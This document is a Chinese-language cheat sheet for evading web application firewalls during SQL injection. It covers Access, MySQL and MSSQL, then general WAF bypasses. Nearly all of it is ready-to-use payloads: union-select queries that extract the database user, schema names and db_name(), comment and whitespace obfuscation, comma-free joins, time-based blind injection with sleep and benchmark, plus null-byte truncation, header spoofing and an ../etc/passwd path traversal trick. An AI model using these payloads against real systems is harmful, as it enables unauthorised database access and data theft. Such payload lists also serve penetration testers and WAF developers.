数据库

Access

空格符
%09、%0a、%0c、%0d、%16

Mysql

注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符，可结合注释符使用%23%0a，%2d%2d%0a。
%21  ！ 叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)) 
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)# 
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5) 
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}

MSSQL

注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格

WAF

同时提交GET和POST
访问HTTP绕过对HTTPS的防护
%00截断
参数填充垃圾数据，缓冲区溢出
X-FORWARDED-FOR伪造绕过
静态文件/sql.php/1.js?id=1绕过
白名单绕过，URL只要存在某字符就不会拦截
/sql.php/admin.php?id=1
/sql.php?a=/manage/&b=../etc/passwd
/../../../manage/../sql.asp?id=2
伪造User-agent绕过，可改为爬虫agent